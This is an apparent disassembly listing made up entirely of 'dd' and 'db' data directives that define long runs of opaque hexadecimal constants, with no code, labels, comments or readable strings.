		dd 90E238E9h, 0CD1C4080h, 3D9C0593h, 6DE7B000h,	3B31A3D7h
		dd 86832859h, 390EA9Ch,	112A0A9h, 47C8EBEFh, 523E021Ch
		dd 0C8FF80B9h, 0FAD48BBBh, 0F89360A8h, 0A57832DBh, 79D0370Ah
		dd 7D602889h, 1C37044h,	20FEEF72h, 444313BCh, 2FA001CEh
		dd 0F4EDC82Bh, 0A80ECAF1h, 809D29DAh, 0AFA6FD8Dh, 0F8966EDCh
		dd 5AD662A7h, 3DF900D4h, 258506D5h, 73C83F60h, 0EACA992Bh
		dd 0B40330C7h, 0F63AEB99h, 0A9CF4D00h, 0B76579C3h, 0DAC40F9Dh
		dd 0AEC1C8D5h, 8045DF7Fh, 0FFE43170h, 175ED29h,	1B25DEC2h
		dd 80CD3D76h, 875F9F81h, 22DF8E1h, 0A9E9C9FDh, 0D8E0456Fh
		dd 0D0A6DD98h, 0AAF063Ah, 808405DBh, 0C6BC1702h, 784480CEh
		dd 39B4268h, 3C83DEF1h,	0E6E88280h, 9776646Dh, 2DDA9A00h
		dd 7C2F77DBh, 5DBE0057h, 0A4094116h, 0C829F8DEh, 1780E002h
		dd 586B5B44h, 1A8200BDh, 0D8FE2333h, 3B006AE3h,	900DDB14h
		dd 5DFD2ADh, 0FD6D7020h, 4F2AC087h, 5A008E94h, 145B6C83h
		dd 0D5E18Fh, 682E9F25h,	0E6BAE324h, 0D90A1000h,	944B4987h
		dd 0D8EF0797h, 0F0BF3EAEh, 29FA34A4h, 75745606h, 18B1B9h
		dd 126DB509h, 5866F9A7h, 0A3AC20h, 0CCDD3136h, 51A0508Ah
		dd 0D19BD306h, 884EB6h,	87A80E3Bh, 0FC7A3289h, 0B5C27C18h
		dd 2F7138h, 4D9D2ED3h, 0A8F53767h, 0D998DE00h, 2595B511h
		dd 4A8A035h, 0BF3F3964h, 18260CF5h, 0CA40AC0Fh,	0FC866E00h
		dd 0AAD839BCh, 848F16E5h, 0EE210049h, 0B2CDBE3Bh, 0F63F0901h
		dd 2B81334h, 0C0974860h, 0EC961A60h, 2200EA98h,	0EB8E3DE6h
		dd 35B86Fh, 0A609DA26h,	0B21DFE33h, 0D611DF00h,	9A080D6Ah
		dd 6D500018h, 3509BD77h, 1D98E32Eh, 0B37B800h, 0D4E7E907h
		dd 0CCFE9Eh, 0B72AE82Ch, 169AC02Fh, 1C211000h, 8A25B982h
		dd 3B8500C1h, 0DAC8018h, 5907D5B7h, 5458ED75h, 782645E1h
		dd 526BECh, 79781C9h, 25F406A7h, 50333900h, 15378CBFh
		dd 0B60102C6h, 0D719835Eh, 0A84E4075h, 1F717F6Ah, 0C0498DB1h
		dd 327C55BCh, 1600F628h, 0C3BFB91Dh, 0E1C50EBh,	0E68A0715h
		dd 575A0243h, 4005CDA8h, 800B4B3Ah, 718ED9BBh, 0B183DAFh
		dd 48A0EF21h, 9166460Eh, 9E004052h, 0C923D408h,	5123FC3h
		dd 0DD34950h, 0DAB40094h, 88A74DD9h, 0CCCA8E09h, 87AC0060h
		dd 3FA4B76h, 0DFFFF919h, 0E7908C01h, 6401B7D5h,	84792981h
		dd 0E4502C28h, 28C960E9h, 0E18F53h, 0E16E08Eh, 39F0EF4Fh
		dd 57FAD602h, 0A06297C2h, 3AE4F920h, 0C1213B52h, 2F389B0Ah
		dd 9C00DA28h, 0BD433852h, 0B4C0D50Fh, 0B66DE021h, 3C3517AFh
		dd 5080D7C1h, 0DE415C90h, 8B0066F7h, 593DA3A4h,	7A646385h
		dd 582F3C15h, 80319B07h, 30BC72B6h, 2D522840h, 98A71428h
		dd 0B89F9824h, 0CAF4E0A8h, 6DCB7019h, 1EF4AC80h, 8F8B014Dh
		dd 26D35324h, 2B57FCC4h, 0F020C600h, 0D4F643Fh,	5C0C0738h
		dd 3063AABDh, 2EEB44E2h, 9AD3F21Eh, 8B0C70A8h, 7143E908h
		dd 3DA90CBDh, 0BCF110FBh, 0DD8DE509h, 2E440064h, 3B357BBh
		dd 5DCA410Bh, 988C3B28h, 0A11E56BCh, 34829045h,	80692F80h
		dd 0DA510EF4h, 9D783ABCh, 0F8B7EF0Eh, 9AF909A0h, 0DB01F076h
		dd 2383BE7Dh, 4C465E47h, 0DCE480E0h, 13F100F6h,	0C541B7C9h
		dd 35EC069Dh, 1F49D000h, 0CDCB0757h, 0E89CA00Dh, 93480076h
		dd 0C0EC9C9Ah, 4A787896h, 914C1F00h, 0AF2D9CAh,	1CD40050h
		dd 298A7233h, 0F0F82B1Bh, 0F712C00Eh, 0FC6F0342h, 0A09ADC50h
		dd 4A6E7003h, 56987ED4h, 730664E8h, 869768DDh, 789188h
		dd 49C0BF4Eh, 333AEDADh, 1E0780CAh, 0A372EBBCh,	0FA673A4Fh
		dd 0EE01F740h, 954EF381h, 942017D9h, 14D60045h,	748769B4h
		dd 0EF48BC19h, 0DF2F00BCh, 79C6695h, 0B6551885h, 0A0B53896h
		dd 528D3412h, 0B3B06443h, 358580AAh, 0F22DF43Dh, 0F8B6017Bh
		dd 66E1954Dh, 0B9D6DC77h, 571D9E18h, 4D4597F1h,	9C0484F6h
		dd 90DDF8BAh, 5AD49DB8h, 0AB15F100h, 27B0F98Ah,	0D889497Ah
		dd 0FAC63E01h, 0D890BF51h, 4002EAE6h, 8A8141B6h, 247043A5h
		dd 9706C60h, 40212FF2h,	0FC9D9350h, 3A1F8118h, 0CF40C511h
		dd 0FD1C88D9h, 0E9040008h, 0E712706Dh, 0B749D6E4h, 55C0634h
		dd 60BD45h, 0D352DEC8h,	0FC422153h, 98F48EE8h, 0E300CEEAh
		dd 0B1D130B7h, 0D47C58h, 713486C3h, 0C9EC59A4h,	0B039C81Ch
		dd 0B8A1DA03h, 6840BFAAh, 7E23F8h, 0EF494A9Fh, 0E820EE31h
		dd 3095D11Dh, 3AC70AC0h, 7FF810B9h, 691073Dh, 80409A74h
		dd 4ED38FE9h, 0FE479B18h, 71273581h, 0C04D1C42h, 280F0086h
		dd 605DC169h, 0E0AD39h,	0DE653936h, 2491CF54h, 3DAB7358h
		dd 0BF0E8E80h, 14B75160h, 8B00A376h, 5035C111h,	0FF15F21h
		dd 3359F71Eh, 5DB8AC40h, 0B97A2D7Eh, 80464C3Fh,	9742371Dh
		dd 7D7A2AB3h, 614A002Ch, 853E6B4Fh, 280169D9h, 13019D96h
		dd 0B081FD5Ah, 0F5A230ECh, 4A4A80F6h, 0A69554B4h, 0F8580094h
		dd 6343118h, 3014EBFBh,	0A170DA5Bh, 208080B6h, 574E52AFh
		dd 0B02374h, 4AB4800h, 65BD4470h, 72692689h, 0F7D70075h
		dd 0D453D636h, 34649D28h, 0EDC67300h, 0FDBAF1DEh, 76532202h
		dd 0ACFA52E6h, 836B5503h, 41ECC5CFh, 0E000A091h, 4D8E32h
		dd 0D5535A39h, 0FE59CB52h, 0F16F2000h, 90412A3Eh, 0E71490F5h
		dd 40A904Bh, 24B4A0h, 0D7A1A32Bh, 0C93B4ABEh, 8851AB87h
		dd 0DCEBA830h, 19A1011Ch, 82E47E24h, 3B419493h,	0C2C60C98h
		dd 6BF845h, 27B7220Dh, 0DF52E535h, 4CD80702h, 94C563ADh
		dd 91FF09A8h, 5000E46Bh, 0B108ADF5h, 2D6F23Ah, 422FC9B6h
		dd 0A6C8B005h, 154A0767h, 409927B9h, 227F0840h,	9860BB00h
		dd 0FAAC120Eh, 0B6D003EDh, 0E8C04AB8h, 5B01A8E8h, 65406600h
		dd 0FC859690h, 7310000Bh
		dd 467FC39Bh, 8F0008BBh, 4A9E2707h, 28B32F0Fh, 16C5D201h
		dd 0AE722A0Eh, 6D070512h, 0CDF0AD46h, 569CD3h, 47F52E9Bh
		dd 0C059C993h, 9EB50500h, 0EF16973Bh, 0C71B007Dh, 0F504914h
		dd 1900F8DBh, 0C2002AFh, 0A0403A95h, 856C84h, 7781D0A8h
		dd 9FD67E3Ch, 8E76522Ch, 2F929400h, 9988C70h, 7D73044h
		dd 0FEAAC800h, 0C5FE8861h, 0D6320D00h, 7EDBD24Bh, 0CFA9012Ah
		dd 50EFB04h, 0A48247Ch,	0E5619D00h, 39F4B9D1h, 7063038Bh
		dd 3AEF6D5Ah, 30CEC0E9h, 0A530BC18h, 497C99CAh,	0E7B228DAh
		dd 88E403D0h, 0E9A944CFh, 0C5D829D8h, 423BED00h, 1CE3713h
		dd 0F987004Ah, 973A9E48h, 8973E1F5h, 68B53800h,	0C0CCF35Bh
		dd 74F80C3Dh, 6F70D015h, 0E29A6E0Eh, 0B08CE0DFh, 244AAA79h
		dd 81D0E3ABh, 0BA8D383Bh, 0CC8EE09Bh, 8BA83700h, 5C9ED039h
		dd 0F17D0668h, 70E5DE02h, 272F0E00h, 5BE4784Ch,	8F5611AEh
		dd 2637163Ah, 0BD8A5800h, 0A808FB45h, 0B8168Ch,	3E476474h
		dd 0E5CF5EEAh, 35C995Ch, 0A048F7FFh, 0ABEC802Ch, 0EFA10067h
		dd 93178744h, 9405CD0Ch, 0AAF596C5h, 446C5822h,	867400F4h
		dd 0A3AC1EE5h, 4709045Fh, 80508E65h, 0FCB022C5h, 41BC06FBh
		dd 91F898A5h, 0A62ADB09h, 8CC820A4h, 60077D1Ch,	0C206E96Ch
		dd 3C00C498h, 90322A7Fh, 0AFFF14h, 3E6891A1h, 7DB5F5DDh
		dd 209D13Dh, 23A8C8E2h,	0DA060CEh, 7C7B38C4h, 0C1D85524h
		dd 46EFEC4Dh, 77CE8A8h,	964D46F2h, 81D4811Ch, 420CBFAh
		dd 0C5EC4Ch, 0C3ECA591h, 6F2537F8h, 876480h, 0D2CA2251h
		dd 0B97F446Eh, 39F21930h, 0B19C3Bh, 0C980A987h,	56E7702Ah
		dd 0D5819A1Eh, 0B50FCD03h, 0B125F08Dh, 1FD1006Ch, 4CB68710h
		dd 3000B927h, 6A2AACFEh, 0FC2BC07h, 0FAABF388h,	1CF58662h
		dd 0F4054C60h, 2CF4903h, 12325AF9h, 796479h, 0C1F5D370h
		dd 0D000991Ah, 188C0AA2h, 780BF3h, 2408F88Ah, 0C174E34Dh
		dd 0E8E5AB2Ah, 0A766EB09h, 68820E4h, 49828D87h,	59016CDCh
		dd 73EEC874h, 4331803Eh, 0A7577D52h, 1F609B75h,	97944003h
		dd 0DEAA010Dh, 184DF00Ch, 3B59C1h, 9933D3Eh, 45E0D905h
		dd 0F8B9CD01h, 7FC51F52h, 19C120h, 38DD62A7h, 9645C3C9h
		dd 0ABCCA52h, 8C543D13h, 905AB813h, 1BE04908h, 0A28E2822h
		dd 9BF00073h, 0D2FB3601h, 18607101h, 0EA2EB229h, 2E8F830h
		dd 1D883FDDh, 20E90594h, 6B20C045h, 0B3019CFAh,	47B08B48h
		dd 74C8784Ah, 3380082h,	0AE8A5EB7h, 451E726Fh, 0E0128E4Eh
		dd 0E99A1180h, 1D9F00F8h, 0EBDE6F0Eh, 8A07A8D3h, 99D0F51h
		dd 2C28B4C6h, 2474E156h, 0FB074214h, 0F80584Fh,	0F995862Eh
		dd 4C60598Ch, 49B00AC0h, 0D8A4962Bh, 0D27C0EFh,	54A2102h
		dd 1251C0BBh, 3607B468h, 50939002h, 0E0FDD76Eh,	9BB690h
		dd 0B457181Fh, 66353E9Dh, 96908B72h, 0D07E609Ah, 28BE963Eh
		dd 28995071h, 0FEA30887h, 0CE78B7C0h, 0B4855080h, 63A800E7h
		dd 0B2070F68h, 0BC906F09h, 87698305h, 9490408Ah, 0FCA6BE15h
		dd 4EDC13AFh, 0E930265Dh, 0AC01B8D3h, 9BCF9278h, 922994E8h
		dd 9A681648h, 348D004Dh, 0A3E56F43h, 6D00349Ah,	0C11BA19Dh
		dd 0A56A68h, 7F844C67h,	0EC3103F0h, 0D5717803h,	0F7075681h
		dd 9CD1A9C0h, 74243F90h, 0C0F05CF9h, 725F3880h,	300536D2h
		dd 0E6E89831h, 76928800h, 85BE63h, 0C72F4511h, 0B596E02Ch
		dd 0C110F300h, 4AF1E66Ah, 0F4F50364h, 35F80B14h, 831D2A8h
		dd 6B724h, 0A94B1100h, 9C6520Dh, 0CDC593F3h, 6634A480h
		dd 834F23Eh, 0E48010CCh, 0A89740A0h, 15872FF4h,	0EC770268h
		dd 0E45AC60Bh, 9AA72080h, 0C0281DFBh, 4CB80CE2h, 0C943C938h
		dd 0FD0D0034h, 0CB20FB81h, 0C6A50051h, 273D5499h, 290160CFh
		dd 0E90730F4h, 68204468h, 0FA4D25F8h, 54499880h, 3B007323h
		dd 6B8F3D92h, 14F640A4h, 34719B7Ah, 0C6CF47DFh,	0C2AD6158h
		dd 24807B61h, 948F121Ch, 9C82074h, 0AB995905h, 0BD100820h
		dd 46EC2CA7h, 702880B1h, 0E9CC5C09h, 14482762h,	2F049560h
		dd 0A0EE5C66h, 4F1EF8C1h, 0B6F741F2h, 23B0CC6Dh, 0C1048B16h
		dd 0EB7DAC00h, 3F3436h,	802E715Ch, 0BB532521h, 383DF428h
		dd 7020BC24h, 96F32E60h, 0CB8913FEh, 7440204Bh,	3C60B3C0h
		dd 7CC5EE91h, 1CE890CEh, 92730541h, 88544038h, 6A18EF4h
		dd 0DD432901h, 20E4FD3Ah, 3FD00570h, 0E4550EDBh, 2C481023h
		dd 0C307D44Ch, 60E24C9Bh, 0DDD31296h, 2ADC3Ch, 755CFAF2h
		dd 4C2ED1E6h, 582C1772h, 0C9A5E06Ch, 177D0BF6h,	0C005090h
		dd 0EF4963C2h, 0CFBB202h, 0DA1B64B5h, 0B826C551h, 0BA002CADh
		dd 3FF0C230h, 34A5597Bh, 0AFB73700h, 469FD4CDh,	97D80F09h
		dd 34A810C7h, 0BE1F013Ah, 4BF7200Bh, 38AC72DBh,	642D005Ah
		dd 0F9C9A7DCh, 0FDA01E69h, 49F1001Ah, 479A11BBh, 0B4364E0Ah
		dd 0EA00D0D1h, 81ADD683h, 82A20003h, 0DDBECAB7h, 5E16665Fh
		dd 802909E6h, 58D6B2C8h, 0DD068587h, 0C88F3BC7h, 14B17275h
		dd 326F705h, 13A6A488h,	9E5839h, 0AD8519C4h, 0E200A7F2h
		dd 0C33AAFE9h, 0BA01696h, 239F09C1h, 0C4CEA103h, 80D4CDE4h
		dd 2F302838h, 3977C6E8h, 1277CF73h, 0CD4617D4h,	0A5A44354h
		dd 88C839AAh, 0E70C5813h, 105FFBDAh, 836C16E5h,	14781630h
		dd 0EF0F38B0h, 1529239Ah, 28538877h, 24089625h,	14A415BDh
		dd 0AE009CADh, 0C9EB22D4h, 2EEE6EC8h, 151EC2F4h, 2FC48AA9h
		dd 14C4DD5Ah, 1C51FCCCh, 40B42460h, 9FB69523h, 1C73F134h
		dd 756DEB00h, 14A23879h, 0FA49801h, 6A1D0E63h, 6188FEC0h
		dd 440071E0h, 41F05682h, 489C7DB7h, 1C80B4D1h, 4C6C3BB4h
		dd 0ECDCF218h, 5CC39181h, 120E987Fh, 9649E189h,	9DC02868h
		dd 889454A4h, 0F886190Ah, 5E5D2083h, 0D892A504h, 6F6CE059h
		dd 60B6069Ch, 0D92C73E1h, 0FB29E21Eh, 5464C397h, 1F04848Eh
		dd 82664E52h, 0E84A7DA2h, 8CE1EC00h, 0DC0298EDh, 0D0395727h
		dd 0ECE88096h, 3DE46CABh, 70AE497Bh, 4FD11FE0h,	6421162Bh
		dd 6557B211h, 0F942064h, 0FCE89600h, 5A743F31h,	1A01000Ah
		dd 0BDE02DF3h, 0BF4B654Ah, 45A2C000h, 2E5AB6B0h, 3F2420E9h
		dd 6AD318F0h, 72B8E946h, 405F8824h, 1A206240h, 27E0CC3h
		dd 0F470599Eh, 5175A800h, 0BF522156h, 0E54100E8h, 72667E5Fh
		dd 29009F18h, 1EAFB6DBh, 0CD082Ah, 8C49C1D9h, 0FED07A78h
		dd 0B933BC03h, 89A41626h, 0D434F244h, 5A2E4CCh,	79467148h
		dd 0D48C07B9h, 5092570Fh, 0C98F104h, 2B8AB0Ch, 0E12EB817h
		dd 0DA1F2463h, 0F9A580AFh, 0FE0783E0h, 542D422Ch, 5FEEAE00h
		dd 0ED8B0A1h, 60301DADh, 514C0C60h, 6117AB1Eh, 3C10D208h
		dd 104D28h, 6603DB11h, 5C281618h, 0AA3E3C38h, 2D817CBAh
		dd 7705C1BDh, 9998576Dh, 8B3E4CE8h, 563D9609h, 452C10E4h
		dd 0C9210053h, 5238F598h, 7C60E50Ah, 0BBEB2E21h, 0CB70CA6h
		dd 0E678F0ADh, 5741BC00h, 0ED2C569Eh, 0AB8F16A0h, 0C3BC3034h
		dd 6D39BD86h, 7002ACC0h, 0E4847F92h, 1EBC8B0h, 62E304FAh
		dd 3D51FC87h, 8888D338h, 6A02049Fh, 0F634D068h,	43A854A0h
		dd 1964BE1Eh, 8AA55280h, 2C24EC94h, 2E8CCE57h, 0C3EB671Ch
		dd 2904960h, 745C19E5h,	0F469003Dh, 893B4B6Fh, 9E5D1D2Ch
		dd 0AA325E3Dh, 9E44A6BCh, 484AF250h, 94669029h,	308F520Fh
		dd 4D6442F2h, 88ACA047h, 0BA1E7A17h, 48F848DCh,	11A3FB09h
		dd 8B1D1800h, 644A907Bh
		dd 40FB2832h, 96A333Fh,	9E5F2CFAh, 0B214A848h, 78266C32h
		dd 0F14CC0Eh, 1AAA2B9Dh, 5BE1DA80h, 0BE003CA3h,	0C1525655h
		dd 0DF11A9h, 20DD5EA5h,	0C6D807E8h, 9FF0B100h, 0E26B196Fh
		dd 9448C1CDh, 73037173h, 5332C000h, 0A22E1C4Bh,	2B40D788h
		dd 15FE33FEh, 0B1F3A604h, 90C1AFF1h, 8C40DA5Ch,	0E1CFB5h
		dd 8650E3F4h, 21B8BB34h, 54D7E600h, 81C0B087h, 2D6D01B3h
		dd 70A529B7h, 73198019h, 82B612C4h, 20095DA3h, 849B2400h
		dd 0C1E2DCE5h, 0C096B229h, 20A4E70Bh, 2AA71138h, 0FD6D0FDBh
		dd 86E0E346h, 6547AA82h, 53D4D3Ah, 9B47919h, 2E0EC040h
		dd 55A9F2h, 0F5990AB3h,	22973461h, 382F9826h, 0C3CF2D00h
		dd 5D127F6h, 0C27FF1E7h, 0E5848776h, 0F56C8431h, 6D8210Ch
		dd 2FF018ECh, 0FC5C130Ah, 5404AC03h, 43831EB1h,	72A2C0AEh
		dd 0EE6E0457h, 0A00DA895h, 8179BF4h, 3410B4CFh,	0C849A0h
		dd 0C266DED3h, 5502DAFh, 27A0A3AEh, 885C040Fh, 72809854h
		dd 93302DE9h, 498D8892h, 0B428965Ch, 8021CEC4h,	0F0ABEE40h
		dd 0ECBAB372h, 80D82858h, 0EF996F3h, 817C05FDh,	0C58655FAh
		dd 0C520B3A4h, 8C8070CAh, 757A8093h, 6B6D00B3h,	5CDCAE5Eh
		dd 49B86A0Eh, 0BD972B00h, 94092D07h, 1E6CB295h,	9F8243B7h
		dd 788980A7h, 57C6A633h, 0C4CF0A24h, 4090D88Fh,	0DA07C3E3h
		dd 733D7809h, 957D05F8h, 8027E944h, 102F0FA0h, 0B9E10703h
		dd 0E87A9C0Eh, 7C4AB8ADh, 0BDBFE1Ah, 0C13B9142h, 0AE0D18A0h
		dd 0CF3B8ED6h, 46070024h, 0E7C27D5Fh, 2D4E0AA5h, 0A9A92Fh
		dd 2F0BB18h, 175DE1DEh,	0D0B20120h, 0F54F33ACh,	0C06DE825h
		dd 51325C54h, 9C51EE30h, 9CDD62BEh, 4EBD3870h, 5F381323h
		dd 18C88080h, 0ABBAEDAEh, 55E7925h, 30905830h, 0EFD0449h
		dd 3DC9610Ah, 0A8D5F881h, 0FFD3604Eh, 1A92B3Eh,	9318C58Ch
		dd 0F0807A71h, 5B8E9799h, 0CE3EFD7Ch, 400079FCh, 3FF07F16h
		dd 0A0BD4BEDh, 0EC2E98h, 5F198397h, 473A58CEh, 0EDEFFA00h
		dd 6B95A2AEh, 0B09A3Eh,	487D6932h, 5F93A7FCh, 60BC58BCh
		dd 7F99A261h, 75B16B6h,	0F8A400BCh, 0FBD4A717h,	0F74EDF02h
		dd 43BDC65Ah, 9BE00074h, 0BBC78294h, 5698854Fh,	0B6E5BE09h
		dd 54650Bh, 0CB213AC7h,	4F904291h, 44458807h, 20A91959h
		dd 1CFE1310h, 0F9C80B9Eh, 0B6816F34h, 68B7CD62h, 0B9248768h
		dd 69A48BC9h, 0E8244D1Ch, 71F92802h, 0AF1D00C4h, 55ABFB2Eh
		dd 67B03254h, 9300E492h, 2740166Fh, 837D35h, 195CF0AAh
		dd 6BECFDA9h, 114C5604h, 0E48C0422h, 2C7D586Fh,	8868B20Ch
		dd 2C7AEA49h, 0C4132202h, 0C8787473h, 989B6C90h, 1DD4B58h
		dd 27F18DF8h, 0E4DFCDEh, 0A1D1E828h, 0A9F31400h, 75195E49h
		dd 2F2E0C1h, 0FB5A2B2h,	98900EB4h, 2200A666h, 0FD29D061h
		dd 0C11C91DBh, 0ECF53C81h, 0DF9C50EFh, 6D12C5F1h, 40A28745h
		dd 55B1CE80h, 3D00FCAEh, 0CF1C373Fh, 1391BD9h, 7CB048Ah
		dd 654B9D2Ah, 99B0FCA0h, 0AC6D2C3Ah, 7E8FD0A5h,	2053C4A3h
		dd 862ED090h, 7F2F7DE9h, 0D7845CEBh, 2674F272h,	16B0AEEEh
		dd 0CB4C8096h, 1128099Ch, 3C05EF06h, 6F20D577h,	9878D489h
		dd 0B2A083C7h, 4C68419Fh, 50BCFBEh, 0A27E3Ch, 1DA106D4h
		dd 9EB61D1Eh, 5A4E47B3h, 59F0C7ECh, 2ADA8403h, 0F0FB04E1h
		dd 0DF051A8Bh, 81CD5C0Eh, 947FFCC1h, 0C2C44D21h, 0A85F7664h
		dd 0C0FF44h, 33505DCEh,	0CD9A0E7Ch, 5BC037F1h, 0E02D7813h
		dd 0A901F428h, 0CA7086D1h, 5C282C98h, 9433D1Ch,	0A00BBCC7h
		dd 0B14D2A6Ch, 5A9F0083h, 0A36AB845h, 660C7C6Bh, 6115AF07h
		dd 28F30F2Fh, 6806F0Bh,	0D3B999CDh, 7FAC5106h, 4A78D008h
		dd 8048C9B0h, 0E5456B70h, 791E0FB7h, 503B286Ah,	6084B1C4h
		dd 1AB41E30h, 0E953EB1Eh, 1C5B4C04h, 2E00B0E3h,	0E82C0403h
		dd 3F39E336h, 6BD90A83h, 0C60ECC4Dh, 2C3700FDh,	1E45C64h
		dd 0FEB45F4Eh, 68B5B028h, 80775F54h, 0BD8D29F0h
		db 66h,	7Bh, 1Ch
		db 2
		dd 82BE8439h, 0B46452FBh, 0C09B6A03h, 98641E9Ch, 34B7E1Dh
		dd 0DCE6F730h, 4839B485h, 50DB0B48h, 0CA348077h, 16CF8261h
		dd 12B4E44Ch, 1E8403C3h, 79008A58h, 0DEE999F0h,	5D46265h
		dd 84878B9Eh, 79F89907h, 0B50F05A4h, 0E8C87CCAh, 1EA50538h
		dd 90DCABBBh, 0E55AB670h, 0AF00609Ch, 5F63D8DBh, 2820B9E4h
		dd 0B828B2A0h, 0C060D248h, 7CAE290h, 0DDC67900h, 9D2EA865h
		dd 0C18A00FDh, 0DB70CB5Ch, 3C925D8Eh, 8B740707h, 3E501376h
		dd 2520F09Ch, 30C05CD9h, 6600FEE0h, 418D3F89h, 0E7FD2A16h
		dd 0C8B58428h, 0F401AA74h, 0C143A290h, 382CFFh,	4738605Bh
		dd 0FAEEF67Eh, 521325h,	0D7161F5Ch, 9E1CB007h, 5B82600h
		dd 44EFA1D4h, 0B3FEE738h, 18304F14h, 227B7h, 81F096A3h
		dd 2DC6CD98h, 4F86AE00h, 7604A969h, 0CFEB0EDAh,	0EC004ADDh
		dd 8072D99Ah, 7739073Dh, 0BD283350h, 0C449F42Ch, 0A859B782h
		dd 18C6099Dh, 5E0B6300h, 68C11765h, 0BC94790Ch,	9C0F445Ch
		dd 4E7A04DCh, 7C00A89Ah, 2AD95AEh, 0B09D2608h, 0A474B660h
		dd 4EA380DCh, 3480D848h, 1154CF00h, 3CE23E05h, 88164ABAh
		dd 94B5AD8h, 9C3D7C89h,	0E4F8C300h, 4D169738h, 3F9A0413h
		dd 3BAD5800h, 5B145B8Fh, 6600A52h, 0FE6E40B8h, 55027EA5h
		dd 224F873h, 919C51CBh,	0C42A04A0h, 0F8A027ECh,	1AD20C59h
		dd 8B1166D0h, 0A942A31Eh, 196776C0h, 0A4977E28h, 5CA670h
		dd 0CB61DCE9h, 0D4245272h, 0D005ED00h, 10F6971Fh, 0EAF4F26h
		dd 61417188h, 3C2235EAh, 0A4D04C84h, 667B00D0h,	0F0334835h
		dd 5DE06917h, 27D82AD8h, 5098B730h, 0C1006E46h,	0E52E091Fh
		dd 5D735494h, 1400C861h, 7CC30AF6h, 0E32A695Dh,	0CF09DCB5h
		dd 6C2F8394h, 0CAA500F8h, 7F14249Fh, 191FE4CCh,	3CC1A64Dh
		dd 0F998B20Dh, 725FA080h, 0A8D28131h, 20297106h, 0D0589Bh
		dd 0B350C6B8h, 0C33457EEh, 56E06309h, 0BA6800C9h, 0A9D04Eh
		dd 401CA76Fh, 0D8399661h, 65245576h, 501C71Ah, 0FEA86F38h
		dd 488F8824h, 0ECC4543Bh, 1894C8F0h, 0B0DCAF25h, 4DCDC684h
		dd 0CA4AC854h, 7D298EDCh, 0EFC94984h, 387D1C90h, 0E0B5004Ah
		dd 483F2697h, 0AE0298F4h, 0F9B41B8Ah, 340062D6h, 0D6448CDCh
		dd 82D801C0h, 0C9CCD526h, 0E591C536h, 1F82C73h,	0EA44BAFh
		dd 10818077h, 0B9228269h, 6CC87409h, 2C566704h,	0E0954440h
		dd 7AF7680h, 0F37A3Ch, 6A1422C4h, 53FDF7B0h, 50094B0h
		dd 24A65432h, 61F3Bh, 5B218FB5h, 8599E6DAh, 1AF7CF25h
		dd 0AC50C05Ch, 423A3964h, 1B922880h, 0CB8A638Bh, 43604BFAh
		dd 0C0C8E978h, 7CBC54ACh, 0BECA393Bh, 356C024Fh, 60FDE3B9h
		dd 92772812h, 0E66A0128h, 0E147415Ch, 284A7173h, 0AF9400B4h
		dd 87233932h, 465A057Dh, 0A6BF7204h, 59302BCh, 5E023134h
		dd 0A2CD410Ch, 3D882133h, 0F0F84000h, 0D902AAE0h, 4D01B1D5h
		dd 0FC5058h, 343BA886h,	4AEA1936h, 283A8029h, 0BA94944Bh
		dd 18C89864h, 3182868Eh, 0BB1E3D4Dh, 1F01F025h,	7D6DF9C2h
		dd 0D88142FDh, 1B7A400Fh, 5E84079h, 0F100E38Eh,	32898F14h
		dd 3C26547h, 24C4AA07h,	9BF80E76h, 913031BAh, 4D3C404Fh
		dd 0A6DC24F2h, 0EDB000A4h, 0FFAB7D57h, 0F960460Bh, 0E2502035h
		dd 72747Ah, 88940E25h, 32A7FC51h, 903BA224h, 94FA74A1h
		dd 3B730060h, 2593DB94h, 0A0C0DA5Ch, 70D77141h,	60FB1D37h
		dd 0E7B1003Fh, 0B5B83DF9h, 18BE207h, 0F10012EAh, 0EE6D1F69h
		dd 0CB3600F5h, 0D28FCFB4h, 8A24164Ah, 32014E62h, 4B330DEEh
		dd 58C96E4h, 2EFD38A4h,	0A003FB2Ah, 0B8181608h,	0DC6F3Bh
		dd 349F3DBh, 47CF24BDh,	0F1F79200h, 9099E141h, 12911DADh
		dd 0F3F2408Eh, 0CED085F9h, 73B16200h, 199EA963h, 0B50C00F1h
		dd 0B9281E7h, 0E11DEDFCh, 0C201D240h, 0A8C76F74h, 149D288Eh
		dd 925380FDh, 3EA358BEh, 7EF8AF03h, 98A25BE7h, 0E0A147B6h
		dd 0EAB53060h, 5957B499h, 8A00D775h, 0A7DE1C44h, 0A08FB6Fh
		dd 9425CE43h, 839D3BD5h, 26FF8012h, 0DAE9DC76h,	94E2200h
		dd 69A7CD85h, 52D607EDh, 8C75BC80h, 6D004290h, 12A87D58h
		dd 73011DCh, 0B20A33A4h, 0F31C035h, 6100AD16h, 5FDAD989h
		dd 0FA76AA63h, 1142018Eh, 0C87E03E5h, 68A84082h, 0ED005D5Eh
		dd 0AE8449DCh, 0E2F9213Ch, 0EC301522h, 2C803C6Fh, 0B083E88Bh
		dd 9D52A503h, 0E896C295h, 1CFB96Eh, 3186CDCEh, 509BA3B8h
		dd 0FA77D084h, 2C1CF603h, 0E755639Eh, 0C04BADA3h, 17F5E9E6h
		dd 0D6FDE3h, 0EEF60AC7h, 1A003AE1h, 38A70D1Fh, 457621h
		dd 39ECCE8Bh, 8A699240h, 0CDEA3001h, 625A6474h,	0F11840FEh
		dd 3C321556h, 0FC3DDCF4h, 600196Ah, 92920FE7h, 7BA69801h
		dd 0B61FEBBh, 0D00A9440h, 0F1C60254h, 0B069B2F6h, 84CF0440h
		dd 20416300h, 15A5CE33h, 0E02A0059h, 0BC739B67h, 64007836h
		dd 0D74FAACAh, 21CA48Dh, 38FB9AD9h, 74408AC9h, 0EAEE77B8h
		dd 10F1A700h, 0CD48CA55h, 6116FC12h, 0B6D2A197h, 98A9C63Fh
		dd 0DDC1300h, 0D548BE7Bh, 1800792Ch, 8C5C2B30h,	0C2EFF6F4h
		dd 522083E8h, 0B9348445h, 0B318C442h, 0CBA040FCh, 603600BBh
		dd 49D20556h, 692A17A8h, 7B0394C5h, 388150E8h, 8828E8E3h
		dd 0F6CF00A4h, 9EFDE1EAh, 0D500FF14h, 34C3E6Ah,	10D137h
		dd 0B7F41638h, 7C9E062Ch, 0ACC55F00h, 0EC34E361h, 8289CEE1h
		dd 5CF76661h, 5C44213Ch, 1BEC3628h, 0B89D5B00h,	0CDCFD069h
		dd 0B88764CCh, 8C8E0Fh,	5CF42F19h, 531CDDCFh, 154CB4A9h
		dd 49D32800h, 702B9423h, 346F9200h, 0D22E5129h,	794B046Eh
		dd 80241135h, 0C4618290h, 0A5542D75h, 40F24AA0h, 0F07081F9h
